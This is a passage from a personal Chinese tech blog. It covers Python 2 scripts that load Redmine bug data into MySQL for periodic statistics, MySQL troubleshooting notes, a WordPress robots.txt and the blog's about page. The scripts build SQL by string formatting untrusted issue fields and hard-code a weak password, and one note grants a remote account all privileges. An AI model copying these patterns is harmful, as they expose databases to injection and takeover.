DATE_FORMAT(NOW(),'%Y-%m-%d') and `status` = '已关闭'),0), IFNULL((SELECT SUM(`num`) AS count FROM Bugs WHERE `status` = '新建' or `status` = '进行中' or `status` = '已解决' or `status` = '已提交' or `status` = '反馈' or `status` = '已拒绝'or `status` = '重复单' or `status` = '延迟修改'or `status` = '开发完成'),0), IFNULL((SELECT SUM(`num`) AS count FROM Bugs WHERE DATE_FORMAT(start_date,'%Y-%m-%d') = DATE_FORMAT(NOW(),'%Y-%m-%d')),0)IFNULL((SELECT SUM(`num`) AS count FROM Bugs WHERE DATE_FORMAT(start_date,'%Y-%m-%d') = DATE_FORMAT(NOW(),'%Y-%m-%d')),0)     ,DATE_FORMAT(NOW(),'%Y-%m-%d %H:%i:%S'))" try: print_ts(u'统计,日,周,月,年bugs数量。') # 执行sql语句 cursor.execute(sql5) cursor.execute(sql1) cursor.execute(sql2) cursor.execute(sql3) cursor.execute(sql4) cursor.execute(sql6) db.commit() except: #发生错误时回滚 print u'回滚' #print sql db.rollback() # 关闭数据库连接 print_ts("运行结束。") print_ts("-"*61) db.close() def print_ts(message): print "[%s] %s"%(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), message) def run(interval): print_ts("-"*61) print_ts(u"每 %s 秒执行一次."%interval) print_ts("-"*61) while True: try: # sleep for the remaining seconds of interval time_remaining = interval-time.time()%interval print_ts(u"开始执行时间: %s (%s 秒)..."%((time.ctime(time.time()+time_remaining)), time_remaining)) time.sleep(time_remaining) print_ts("开始运行。") print_ts("-"*61) bugs() except Exception, e: print e if __name__ == '__main__': # 收集,统计bug数据 reload(sys) sys.setdefaultencoding('utf-8') # 每15分钟(1800秒)收集一次Bugs数据,并进行统计。 interval = 900 run(interval) 2.2 指定时间运行 #__author__ = 'chenghoufeng' # -*- coding: utf-8 -*- import MySQLdb import xlwt import time import datetime import threading from redminelib import Redmine from progressbar import ProgressBar # 连接Redmine def set_Redmine(): REDMINE_URL = 'Redmine网址' #redmine 的地址 REDMINE_KEY = 'key'#这个是自己redmine的账号 redmine = Redmine(REDMINE_URL,key=REDMINE_KEY) issues = redmine.issue.all(project_id = 'ptq',status_id='*',tracker_id=None) return issues # 清空全部数据表 def Empty_data(): # 打开数据库连接 db = MySQLdb.connect("localhost", "test", "123456", "bug", charset='utf8' ) # 使用cursor()方法获取操作游标 cursor = db.cursor() sql = "truncate table bugs" sql1 = "truncate table The_bug_days_report" sql2 = "truncate table The_bug_weeks_report" sql3 = "truncate table The_bug_month_report" sql4 = "truncate table The_bug_year_report" print u'一、清空全部数据表' try: # 执行sql语句 #需要清除bug表的数据 print u'1:清除收集的Redmine的bug数据' cursor.execute(sql) cursor.execute(sql1) cursor.execute(sql2) cursor.execute(sql3) cursor.execute(sql4) #提交数据 db.commit() except: #发生错误时回滚 print u'回滚' db.rollback() # 关闭数据库连接 db.close() def bugs(): # 先清空数据库的全部数据表 Empty_data() print u'二、收集bugs数据' # 打开数据库连接 db = MySQLdb.connect("localhost", "test", "123456", "bug", charset='utf8' ) # 使用cursor()方法获取操作游标 cursor = db.cursor() pbar = ProgressBar() for i in pbar(set_Redmine()): # SQL插入语句 sql = "INSERT INTO bugs (id,project,status,priority,tracker,author,subject,start_date,done_ratio,num,updated_on) SELECT %d,'%s','%s','%s','%s','%s','%s','%s','%s','1','%s' FROM DUAL WHERE NOT EXISTS (SELECT id FROM bugs WHERE id = %d and project = '%s')" % (i.id,i.project,i.status,i.priority,i.tracker,i.author,i.subject,i.start_date,i.done_ratio,i.updated_on,i.id,i.project) #print sql try: # 执行sql语句 cursor.execute(sql) #提交数据 db.commit() except: #发生错误时回滚 print u'回滚' print i.id print sql db.rollback() # 关闭数据库连接 db.close() bug_statistical_calculation() #如果需要循环调用,就要添加以下方法 timer = threading.Timer(86400, bugs) timer.start() # 按照日,周,月,年统计bugs数量 def bug_statistical_calculation(): # 打开数据库连接 db = MySQLdb.connect("localhost", "test", "123456", "bug", charset='utf8' ) # 使用cursor()方法获取操作游标 cursor = db.cursor() # 删除紧急bug和优化立项的bug(不统计在内) #sql = "DELETE FROM bugs where project = '%s'"%('紧急bug和市场优化立项') sql1 = "INSERT IGNORE INTO The_bug_days_report(days,times) SELECT DATE_FORMAT(start_date, '%Y-%m-%d') AS DAY,SUM(`num`) AS count FROM bugs GROUP BY DAY" sql2 = "INSERT IGNORE INTO The_bug_weeks_report (WEEK, times) SELECT WEEK (DATE_ADD(start_date,INTERVAL 7 DAY)) AS WEEK,SUM(`num`) AS count FROM bugs GROUP BY WEEK (DATE_ADD(start_date,INTERVAL 7 DAY))" sql3 = "INSERT IGNORE INTO The_bug_month_report(month,times) SELECT MONTH(start_date) as month,SUM(`num`) AS count FROM bugs GROUP BY MONTH" sql4 = "INSERT IGNORE INTO The_bug_year_report(years,times) SELECT YEAR(start_date) as years,SUM(`num`) AS count FROM bugs GROUP BY YEAR(start_date)" sql5 = "DELETE FROM bugs WHERE tracker = '%s'"% ('管理') try: print u'三、统计,日,周,月,年bugs数量' # 执行sql语句 cursor.execute(sql1) cursor.execute(sql2) cursor.execute(sql3) cursor.execute(sql4) cursor.execute(sql5) db.commit() except: #发生错误时回滚 print u'回滚' db.rollback() # 关闭数据库连接 db.close() if __name__ == '__main__': # 收集,统计bug数据 #bugs() # 获取现在时间 now_time = datetime.datetime.now() # 获取明天时间 next_time = now_time + datetime.timedelta(days=+1) next_year = next_time.date().year next_month = next_time.date().month next_day = next_time.date().day # 获取明天3点时间 next_time = datetime.datetime.strptime(str(next_year)+"-"+str(next_month)+"-"+str(next_day)+" 17:20:00", "%Y-%m-%d %H:%M:%S") # # 获取昨天时间 # last_time = now_time + datetime.timedelta(days=-1) # 获取距离明天3点时间,单位为秒 timer_start_time = (next_time - now_time).total_seconds() print u'开始执行时间:' print (next_time) print u'程序启动时间:' print(now_time) # print(timer_start_time) # 54186.75975 #定时器,参数为(多少时间后执行,单位为秒,执行的方法) timer = threading.Timer(timer_start_time, bugs) timer.start() 2.3、原始代码 #__author__ = 'chenghoufeng' # -*- coding: utf-8 -*- # 原始代码 import MySQLdb import xlwt import time from redminelib import Redmine from progressbar import ProgressBar # 连接Redmine def set_Redmine(): REDMINE_URL = '***********************' #redmine 的地址 REDMINE_KEY = '***********************'#这个是自己redmine的账号 redmine = Redmine(REDMINE_URL,key=REDMINE_KEY) issues = redmine.issue.all(project_id = 'ptq',status_id='*',tracker_id=None) return issues # 清空全部数据表 def Empty_data(): # 打开数据库连接 db = MySQLdb.connect("localhost", "test", "123456", "bug", charset='utf8' ) # 使用cursor()方法获取操作游标 cursor = db.cursor() sql = "truncate table bugs" sql1 = "truncate table The_bug_days_report" sql2 = "truncate table The_bug_weeks_report" sql3 = "truncate table The_bug_month_report" sql4 = "truncate table The_bug_year_report" print u'一、清空全部数据表' try: # 执行sql语句 #需要清除bug表的数据 print u'1:清除收集的Redmine的bug数据' cursor.execute(sql) print u'2:清除日数据' cursor.execute(sql1) print u'3:清除周数据' cursor.execute(sql2) print u'4:清除月数据' cursor.execute(sql3) print u'5:清除年数据' cursor.execute(sql4) #提交数据 db.commit() except: #发生错误时回滚 print u'回滚' db.rollback() # 关闭数据库连接 db.close() def bugs(): # 先清空数据库的全部数据表 Empty_data() print u'二、收集bugs数据' # 打开数据库连接 db = MySQLdb.connect("localhost", "test", "123456", "bug", charset='utf8' ) # 使用cursor()方法获取操作游标 cursor = db.cursor() pbar = ProgressBar() for i in pbar(set_Redmine()): # SQL插入语句 sql = "INSERT INTO bugs (id,project,status,priority,tracker,author,subject,start_date,done_ratio,num,updated_on) SELECT %d,'%s','%s','%s','%s','%s','%s','%s','%s','1','%s' FROM DUAL WHERE NOT EXISTS (SELECT id FROM bugs WHERE id = %d and project = '%s')" % (i.id,i.project,i.status,i.priority,i.tracker,i.author,i.subject,i.start_date,i.done_ratio,i.updated_on,i.id,i.project) #print sql try: # 执行sql语句 cursor.execute(sql) #提交数据 db.commit() except: #发生错误时回滚 print u'回滚' print i.id print sql db.rollback() # 关闭数据库连接 db.close() bug_statistical_calculation() # 按照日,周,月,年统计bugs数量 def bug_statistical_calculation(): # 打开数据库连接 db = MySQLdb.connect("localhost", "test", "123456", "bug", charset='utf8' ) # 使用cursor()方法获取操作游标 cursor = db.cursor() # 删除紧急bug和优化立项的bug(不统计在内) #sql = "DELETE FROM bugs where project = '%s'"%('紧急bug和市场优化立项') sql1 = "INSERT IGNORE INTO The_bug_days_report(days,times) SELECT DATE_FORMAT(start_date, '%Y-%m-%d') AS DAY,SUM(`num`) AS count FROM bugs GROUP BY DAY" sql2 = "INSERT IGNORE INTO The_bug_weeks_report (WEEK, times) SELECT WEEK (DATE_ADD(start_date,INTERVAL 7 DAY)) AS WEEK,SUM(`num`) AS count FROM bugs GROUP BY WEEK (DATE_ADD(start_date,INTERVAL 7 DAY))" sql3 = "INSERT IGNORE INTO The_bug_month_report(month,times) SELECT MONTH(start_date) as month,SUM(`num`) AS count FROM bugs GROUP BY MONTH" sql4 = "INSERT IGNORE INTO The_bug_year_report(years,times) SELECT YEAR(start_date) as years,SUM(`num`) AS count FROM bugs GROUP BY YEAR(start_date)" sql5 = "DELETE FROM bugs WHERE tracker = '%s'"% ('管理') try: print u'三、统计,日,周,月,年bugs数量' # 执行sql语句 print u'1:统计每天的bugs数量' cursor.execute(sql1) print u'2:统计没周的bugs数量' cursor.execute(sql2) print u'3:统计每月的bugs数量' cursor.execute(sql3) print u'4:统计每年的bugs数量' cursor.execute(sql4) print u'5:删除非BUG问题单。' cursor.execute(sql5) db.commit() except: #发生错误时回滚 print u'回滚' db.rollback() # 关闭数据库连接 db.close() if __name__ == '__main__': # 收集,统计bug数据 bugs() ### 解决运行Python报缺少libmysqlclient.so.20文件 错误信息 Traceback (most recent call last): File "/home/bugs/bugs.py", line 3, in import MySQLdb File "/usr/local/lib/python2.7/dist-packages/MySQLdb/__init__.py", line 9, in import _mysql ImportError: libmysqlclient.so.20: cannot open shared object file: No such file or directory root@saiita:/usr/lib/x86_64-linux-gnu# vim /usr/local/lib/python2.7/dist-packages/MySQLdb/__init__.py 下载libmysqlclient.so.20文件到服务器文件夹 /usr/lib/x86_64-linux-gnu 再次运行。 原因缺少libmysqlclient.so.20文件 下载文件: 1670936112-libmysqlclient.so_.zip下载 删除多余的.zip然后解压。 ### 解决MySQL本地账户报2002错误 错误信息 (2002, "Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2)") 原因配置文件配置mysql.sock的路径不对,登陆连接的时候找不到配置文件mysql.sock。导致会报2002错误 解决办法: 修改配置文件mysql.sock文件的路径,然后重启MySQL服务。 文件映射到报错的目录下方。 有可能MySQL多次安装(不同版本),导致存在多个配置文件。解决方法把MySQL数据导出来后,彻底卸载MySQL,再进行安装,导入数据。 ln -s /var/run/mysqld/mysqld.sock /tmp/mysql.sock ### 解决用Navicat连接不上数据库,报1251错误 使用Navicat有时候会报1251错误,有3个原因: 使用的账户没有相关权限。 MySQL没有开启远程连接。 登录的账户没有开启远程连接 下面就是相关MySQL设置,创建1个账户。设置账户全部权限,且设置账户为远程连接。 -- 创建账号 CREATE USER '用户名'@'%' IDENTIFIED WITH mysql_native_password BY '用户密码'; -- 指定账号访问数据表 grant all privileges on `数据表`.* to '用户名'@'%'; 说明: '用户名'@'%'的%就是开启远程连接 all privileges 设置账户有所有权限 ### MySQL账号指定访问数据表 出于安全考虑,会指定MySQL账户访问指定数据表,然后复制相关权限,比如查询,新增,删除等权限 下面就是相关MySQL语法设置 -账户访问指定数据表 grant all privileges on 数据表.* to '账号'@'localhost'; grant all privileges on `数据表`.* to '账号'@'localhost' identified by '账号密码'; ### Wordpress添加robots.txt文件 // 2025年6月17日 User-agent: * Disallow: /wp-admin Disallow: /wp-content/plugins Disallow: /wp-content/themes Disallow: /wp-includes Disallow: /trackback/ Disallow: /index.php/down_help/ Disallow: /index.php/feedbook/ Disallow: /index.php/archives/* Disallow: /index.php/down_help/page/* Disallow: /index.php?column=* Disallow: /*?replytocom Disallow: /feed Disallow: /*/feed Disallow: /comments/feed Sitemap: https://www.saiita.com.cn/wp-sitemap.xml Robots.txt文件作用: 1、屏蔽网站内的死链接。 2、屏蔽搜索引擎蜘蛛抓取站点内重复内容和页面。 3、阻止搜索引擎索引网站隐私性的内容。 1)创建robots.txt 2)robots.txt输入以下参数 User-agent: * Disallow: /wp-admin/ Disallow: /wp-content/ Disallow: /wp-includes/ Disallow: //comment-page- Disallow: /?replytocom= Disallow: /category//page/ Disallow: /tag//page/ Disallow: //trackback Disallow: /feed Disallow: //feed Disallow: /comments/feed Disallow: /?s=* Disallow: //?s= Disallow: /? Disallow: /attachment/ 3)上传 robots.txt 到wordpress根目录 4)查询robots.txt是否生效 输入网址/robots.txt 3)参数说明: 1、Disallow: /wp-admin/、Disallow: /wp-content/和Disallow: /wp-includes/ 用于告诉搜索引擎不要抓取后台程序文件页面。 2、Disallow: /*/comment-page-*和Disallow: /*?replytocom=* 禁止搜索引擎抓取评论分页等相关链接。 3、Disallow: /category/*/page/和Disallow: /tag/*/page/ 禁止搜索引擎抓取收录分类和标签的分页。 4、Disallow: /*/trackback 禁止搜索引擎抓取收录trackback等垃圾信息 5、Disallow: /feed、Disallow: /*/feed和Disallow: /comments/feed 禁止搜索引擎抓取收录feed链接,feed只用于订阅本站,与搜索引擎无关。 6、Disallow: /?s=*和Disallow: /*/?s=* 禁止搜索引擎抓取站内搜索结果 7、Disallow: /*?* 禁止搜索抓取动态页面 8、Disallow: /attachment/ ### 花生壳域名DNS解析到阿里云 关于花生壳 花生壳官网 第一次接触博客的时候使用的是花生壳,hexo博客服务部署在家里,然后使用花生壳穿透到公网。不过因为即使买了设备,也是有各种各样的问题。 问题: 带宽只有1M,公网打开网速十分的慢,经常要十几分钟加载完,有时候图片还加载不出来。 每月流量只有2G,如果博客是纯文字还好说,要是文章里有十几张图片,2G不够用。 映射数只有2个,也就是说只能透传2个服务,或者2个网站 相当于花钱买了设备,而效果十分不理想,又因为在花生壳官网买了域名。 只能设置域名的DNS到阿里云上。 下面就是怎么设置花生壳域名的DNS到阿里云上。然后花生壳设备就闲置了,一次也没用过,差不多是多余设备,只适合流量小的服务,可以用于远程桌面,远程关机等服务。 因为有了阿里云,然后家里服务器使用FRP透传到阿里云相当于花生壳设备了。 设置花生壳域名步骤 登录花生壳控制台 进入域名列表 进入域名管理 进入域名NS管理 填入阿里云DNS 详细步骤如下 1)登录花生壳控制台 登录账号 进入域名列表 进入域名管理 2)进入域名NS管理 点击域名 进入NS管理(长时间没登录,要输入验证码) 3)选择自定义DNS 输入阿里云的DNS ns1.alidns.com ns1.alidns.com 4)登录阿里云解析域名到阿里云的IP 然后登录阿里云设置域名解析,就可以正常使用域名了 ## 页面 ### 友情链接 ### 年龄计算 年龄: 35岁 月份: 4个月 天数: 3天 计算说明:使用周岁计算(实岁),已考虑闰年2月天数情况 ### 物品管理 ### 哪吒监控 ### 💖 关于SaiitaのBlog:我的数字生活小角落! 🌟 嗨,欢迎来到我的博客! 兄弟们,好久不见!这里是SaiitaのBlog,一个充满科技感又不失生活气息的数字小天地!💻✨ 我是你们的博主Saiita,一个热爱分享的软件测试工程师,也是一个喜欢探索生活乐趣的斜杠青年! 💡 博客里有什么? 在这里,我不仅会分享我的“打工人”日常——那些在华为外包项目里摸爬滚打的真实经验,还有超实用的软件测试干货,帮你轻松搞定各种IT难题!🛠️ 我还会把我的“宝藏”计算机知识倾囊相授,从路由器设置到小米智能设备,让你秒变科技达人! 但我的博客可不止有硬核技术哦!我还想和你们分享我的“诗和远方”: •📍 杭州周边游:带你打卡杭州及周边的小众景点,发现那些隐藏的美食和风景,周末再也不怕没地方去啦!🚗💨 •🛵 九号 🚗 Jeep:我的出行搭档们!会分享它们的用车体验、改装心得,一起感受速度与激情! •🎮 游戏人生:偶尔也会变身“网瘾少年”,分享我的游戏心得和那些让我上头的游戏! •💰 副业探索:分享我的副业尝试,希望能给想搞钱的兄弟们一些灵感! •📚 学习与思考:记录我的学习笔记,一起变得更优秀! 🙋‍♂️ 为什么写这个博客? 其实,我就是想搭建一个轻松愉快的交流平台,把我的所学所感分享给更多志同道合的朋友。无论是技术小白还是资深大佬,是生活达人还是游戏玩家,都欢迎来这里和我一起玩耍!💖 你的每一次点赞、评论和分享,都是我更新的动力!同时也是我的笔记本; 💌 期待与你相遇! 如果你也对IT技术、生活探索、或者只是想找个地方唠嗑,那就别犹豫啦!在评论区留言,或者通过博客里的联系方式找到我,我们一起成为更好的自己!👬 ### 考勤查询 ### 标签云 ### 点赞排行榜 ### 网易音乐 ### 用户中心 ## 媒体 ### 杭州西兴大桥-三桥 (6) - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/%e6%9d%ad%e5%b7%9e%e8%a5%bf%e5%85%b4%e5%a4%a7%e6%a1%a5%e6%96%ad%e6%b5%81%e6%94%b9%e9%80%a0%ef%bc%8c%e8%ae%b0%e5%bd%95%e6%9c%80%e5%90%8e%e5%bd%b1%e5%83%8f.html/attachment/%e6%9d%ad%e5%b7%9e%e8%a5%bf%e5%85%b4%e5%a4%a7%e6%a1%a5-%e4%b8%89%e6%a1%a5-6 ### 杭州西兴大桥-三桥 (2) - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/%e6%9d%ad%e5%b7%9e%e8%a5%bf%e5%85%b4%e5%a4%a7%e6%a1%a5%e6%96%ad%e6%b5%81%e6%94%b9%e9%80%a0%ef%bc%8c%e8%ae%b0%e5%bd%95%e6%9c%80%e5%90%8e%e5%bd%b1%e5%83%8f.html/attachment/%e6%9d%ad%e5%b7%9e%e8%a5%bf%e5%85%b4%e5%a4%a7%e6%a1%a5-%e4%b8%89%e6%a1%a5-2 ### 杭州西兴大桥-三桥 (1) - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/%e6%9d%ad%e5%b7%9e%e8%a5%bf%e5%85%b4%e5%a4%a7%e6%a1%a5%e6%96%ad%e6%b5%81%e6%94%b9%e9%80%a0%ef%bc%8c%e8%ae%b0%e5%bd%95%e6%9c%80%e5%90%8e%e5%bd%b1%e5%83%8f.html/attachment/%e6%9d%ad%e5%b7%9e%e8%a5%bf%e5%85%b4%e5%a4%a7%e6%a1%a5-%e4%b8%89%e6%a1%a5-1 ### 杭州西兴大桥-三桥 (7) - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/%e6%9d%ad%e5%b7%9e%e8%a5%bf%e5%85%b4%e5%a4%a7%e6%a1%a5%e6%96%ad%e6%b5%81%e6%94%b9%e9%80%a0%ef%bc%8c%e8%ae%b0%e5%bd%95%e6%9c%80%e5%90%8e%e5%bd%b1%e5%83%8f.html/attachment/%e6%9d%ad%e5%b7%9e%e8%a5%bf%e5%85%b4%e5%a4%a7%e6%a1%a5-%e4%b8%89%e6%a1%a5-7 ### 杭州西兴大桥-三桥 (4) - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/%e6%9d%ad%e5%b7%9e%e8%a5%bf%e5%85%b4%e5%a4%a7%e6%a1%a5%e6%96%ad%e6%b5%81%e6%94%b9%e9%80%a0%ef%bc%8c%e8%ae%b0%e5%bd%95%e6%9c%80%e5%90%8e%e5%bd%b1%e5%83%8f.html/attachment/%e6%9d%ad%e5%b7%9e%e8%a5%bf%e5%85%b4%e5%a4%a7%e6%a1%a5-%e4%b8%89%e6%a1%a5-4 ### 杭州西兴大桥-三桥 (3) - **URL**: https://www.saiita.com.cn/hangzhou_citywalk/%e6%9d%ad%e5%b7%9e%e8%a5%bf%e5%85%b4%e5%a4%a7%e6%a1%a5%e6%96%ad%e6%b5%81%e6%94%b9%e9%80%a0%ef%bc%8c%e8%ae%b0%e5%bd%95%e6%9c%80%e5%90%8e%e5%bd%b1%e5%83%8f.html/attachment/%e6%9d%ad%e5%b7%9e%e8%a5%bf%e5%85%b4%e5%a4%a7%e6%a1%a5-%e4%b8%89%e6%a1%a5-3 ### DIFY-GitHub-Clone - **URL**: https://www.saiita.com.cn/note/computer/ai/dify/ubuntu-24-04%e4%b8%8b%e4%bd%bf%e7%94%a8docker%e9%83%a8%e7%bd%b2dify%e5%ae%8c%e6%95%b4%e9%85%8d%e7%bd%ae%e6%8c%87%e5%8d%97.html/attachment/dify-github-clone ### BlogsClub 文章更新频率值为空 - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/%e8%a7%a3%e5%86%b3wpjam%e6%8f%92%e4%bb%b6rewrite%e8%a7%84%e5%88%99%e5%af%bc%e8%87%b4%e7%9a%84404%e9%97%ae%e9%a2%98.html/attachment/blogsclub-%e6%96%87%e7%ab%a0%e6%9b%b4%e6%96%b0%e9%a2%91%e7%8e%87%e5%80%bc%e4%b8%ba%e7%a9%ba ### GooGle Search Console-未找到(404) - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/%e8%a7%a3%e5%86%b3wpjam%e6%8f%92%e4%bb%b6rewrite%e8%a7%84%e5%88%99%e5%af%bc%e8%87%b4%e7%9a%84404%e9%97%ae%e9%a2%98.html/attachment/google-search-console-%e6%9c%aa%e6%89%be%e5%88%b0%ef%bc%88404%ef%bc%89-2 ### 1762600864-pexels-photo-265667 - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/%e8%a7%a3%e5%86%b3wpjam%e6%8f%92%e4%bb%b6rewrite%e8%a7%84%e5%88%99%e5%af%bc%e8%87%b4%e7%9a%84404%e9%97%ae%e9%a2%98.html/attachment/1762600864-pexels-photo-265667 - **Alt Text**: pexels-photo-265667.jpeg - **Caption**: Photo by Pixabay on Pexels.com ### GooGle Search Console-未找到(404) - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/%e8%a7%a3%e5%86%b3wpjam%e6%8f%92%e4%bb%b6rewrite%e8%a7%84%e5%88%99%e5%af%bc%e8%87%b4%e7%9a%84404%e9%97%ae%e9%a2%98.html/attachment/google-search-console-%e6%9c%aa%e6%89%be%e5%88%b0%ef%bc%88404%ef%bc%89 ### Rewrite 规则 - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/%e8%a7%a3%e5%86%b3wpjam%e6%8f%92%e4%bb%b6rewrite%e8%a7%84%e5%88%99%e5%af%bc%e8%87%b4%e7%9a%84404%e9%97%ae%e9%a2%98.html/attachment/rewrite-%e8%a7%84%e5%88%99 ### 1761975422-pexels-photo-1666315 - **URL**: https://www.saiita.com.cn/note/computer/ai/open-webui/open-webui%e9%a6%96%e6%ac%a1%e8%b0%83%e7%94%a8%e7%a1%85%e5%9f%ba%e6%b5%81%e5%8a%a8ai%e5%93%8d%e5%ba%94%e7%bc%93%e6%85%a2%e7%9a%84%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88.html/attachment/1761975422-pexels-photo-1666315 - **Alt Text**: white bluetooth speaker on silver laptop computer - **Caption**: Photo by Jessica Lewis 🦋 thepaintedsquare on Pexels.com ### 谷歌广告保留原始设置 - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/%e8%b0%b7%e6%ad%8c%e5%b9%bf%e5%91%8a%e8%87%aa%e5%8a%a8%e6%b7%bb%e5%8a%a0%e5%ae%9e%e9%aa%8c%e8%bf%98%e6%97%a0%e6%b3%95%e5%8f%96%e6%b6%88.html/attachment/%e8%b0%b7%e6%ad%8c%e5%b9%bf%e5%91%8a%e4%bf%9d%e7%95%99%e5%8e%9f%e5%a7%8b%e8%ae%be%e7%bd%ae-2 ### 谷歌广告保留原始设置 - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/%e8%b0%b7%e6%ad%8c%e5%b9%bf%e5%91%8a%e8%87%aa%e5%8a%a8%e6%b7%bb%e5%8a%a0%e5%ae%9e%e9%aa%8c%e8%bf%98%e6%97%a0%e6%b3%95%e5%8f%96%e6%b6%88.html/attachment/%e8%b0%b7%e6%ad%8c%e5%b9%bf%e5%91%8a%e4%bf%9d%e7%95%99%e5%8e%9f%e5%a7%8b%e8%ae%be%e7%bd%ae ### 1761727035-pexels-photo-270669 - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/%e8%b0%b7%e6%ad%8c%e5%b9%bf%e5%91%8a%e8%87%aa%e5%8a%a8%e6%b7%bb%e5%8a%a0%e5%ae%9e%e9%aa%8c%e8%bf%98%e6%97%a0%e6%b3%95%e5%8f%96%e6%b6%88.html/attachment/1761727035-pexels-photo-270669 - **Alt Text**: silver ipad - **Caption**: Photo by Pixabay on Pexels.com ### 谷歌广告无法关闭自动优化 - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/%e8%b0%b7%e6%ad%8c%e5%b9%bf%e5%91%8a%e8%87%aa%e5%8a%a8%e6%b7%bb%e5%8a%a0%e5%ae%9e%e9%aa%8c%e8%bf%98%e6%97%a0%e6%b3%95%e5%8f%96%e6%b6%88.html/attachment/%e8%b0%b7%e6%ad%8c%e5%b9%bf%e5%91%8a%e6%97%a0%e6%b3%95%e5%85%b3%e9%97%ad%e8%87%aa%e5%8a%a8%e4%bc%98%e5%8c%96 ### 谷歌广告正在运行 - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/%e8%b0%b7%e6%ad%8c%e5%b9%bf%e5%91%8a%e8%87%aa%e5%8a%a8%e6%b7%bb%e5%8a%a0%e5%ae%9e%e9%aa%8c%e8%bf%98%e6%97%a0%e6%b3%95%e5%8f%96%e6%b6%88.html/attachment/%e8%b0%b7%e6%ad%8c%e5%b9%bf%e5%91%8a%e6%ad%a3%e5%9c%a8%e8%bf%90%e8%a1%8c ### 无法无天的谷歌广告 - **URL**: https://www.saiita.com.cn/note/%e5%89%af%e4%b8%9a/%e8%b0%b7%e6%ad%8c%e5%b9%bf%e5%91%8a%e8%87%aa%e5%8a%a8%e6%b7%bb%e5%8a%a0%e5%ae%9e%e9%aa%8c%e8%bf%98%e6%97%a0%e6%b3%95%e5%8f%96%e6%b6%88.html/attachment/%e6%97%a0%e6%b3%95%e6%97%a0%e5%a4%a9%e7%9a%84%e8%b0%b7%e6%ad%8c%e5%b9%bf%e5%91%8a ### 1761534320-pexels-photo-13268478 - **URL**: https://www.saiita.com.cn/friendship-links-pages/attachment/1761534320-pexels-photo-13268478 - **Alt Text**: laptop keyboard in close up photography - **Caption**: Photo by Diana ✨ on Pexels.com ### 1761473613-pexels-photo-270637 - **URL**: https://www.saiita.com.cn/note/computer/blog/wordpress/%e8%a7%a3%e5%86%b3-wordpress-wpjam%e6%8f%92%e4%bb%b6%e6%94%b9%e5%8a%a8%e8%ae%be%e7%bd%ae%ef%bc%8c%e5%bd%b1%e5%93%8dseo%e7%9a%84%e9%97%ae%e9%a2%98.html/attachment/1761473613-pexels-photo-270637 - **Alt Text**: three white and black scrabble tiles on brown wooden surface - **Caption**: Photo by Pixabay on Pexels.com ### 1760764967-pexels-photo-30530428 - **URL**: https://www.saiita.com.cn/note/computer/ai/deepseek/claude-code-%e8%b0%83%e7%94%a8glm-4-6-%e5%92%8cdeepseek-ai%e6%a8%a1%e5%9e%8b%e6%95%88%e6%9e%9c%e5%af%b9%e6%af%94.html/attachment/1760764967-pexels-photo-30530428 - **Alt Text**: ai chat interface on smartphone with deepseek app - **Caption**: Photo by Matheus Bertelli on Pexels.com ### 1760537923-pexels-photo-31723348 - **URL**: https://www.saiita.com.cn/note/software_test/%e4%b8%8d%e9%9c%80%e8%a6%81%e6%89%93%e5%bc%80%e6%b5%8f%e8%a7%88%e5%99%a8%e6%97%a0%e7%97%95%e6%a8%a1%e5%bc%8f%e5%b0%b1%e5%8f%af%e4%bb%a5%e5%88%b7%e6%96%b0%e7%bd%91%e7%ab%99%e9%a1%b5%e9%9d%a2.html/attachment/1760537923-pexels-photo-31723348 - **Alt Text**: top view of modern coffee bean grinder in tokyo - **Caption**: Photo by Gu Ko on Pexels.com ### 1760490717-pexels-photo-16144420 - **URL**: https://www.saiita.com.cn/tools-time-capsule/attachment/1760490717-pexels-photo-16144420 - **Alt Text**: two cats sitting under a tree and looking up - **Caption**: Photo by zhang kaiyv on Pexels.com ### 1758968620-pexels-photo-6804069 - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/coder-server-%e5%ae%89%e8%a3%85%e5%92%8c%e6%9b%b4%e6%96%b0.html/attachment/1758968620-pexels-photo-6804069 - **Alt Text**: men working on a computer - **Caption**: Photo by cottonbro studio on Pexels.com ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/coder-server-%e5%ae%89%e8%a3%85%e5%92%8c%e6%9b%b4%e6%96%b0.html/attachment/image-191 ### 1758952295-stained-glass-spiral-circle-pattern-161154 - **URL**: https://www.saiita.com.cn/note/computer/ai/open-webui/open-webui-python%e8%99%9a%e6%8b%9f%e7%8e%af%e5%a2%83%e5%8d%87%e7%ba%a7%e8%84%9a%e6%9c%ac.html/attachment/1758952295-stained-glass-spiral-circle-pattern-161154 - **Alt Text**: worms eye view of spiral stained glass decors through the roof - **Caption**: Photo by Pixabay on Pexels.com ### 1757597747-pexels-photo-1382393 - **URL**: https://www.saiita.com.cn/1757597747-pexels-photo-1382393 - **Alt Text**: photo of leaves - **Caption**: Photo by Madison Inouye on Pexels.com ### pexels-photo-10816120 - **URL**: https://www.saiita.com.cn/note/computer/ai/open-webui/%e3%80%90%e6%95%99%e7%a8%8b%e3%80%91open-webuipython%e8%99%9a%e6%8b%9f%e7%8e%af%e5%a2%83%e5%ae%89%e8%a3%85.html/attachment/pexels-photo-10816120 - **Alt Text**: screen with code - **Caption**: Photo by Stanislav Kondratiev on Pexels.com ### image - **URL**: https://www.saiita.com.cn/note/computer/operating_system/ubuntu/how-to-add-microsoft-login-to-open-source-projects.html/attachment/image-190 ### image - **URL**: 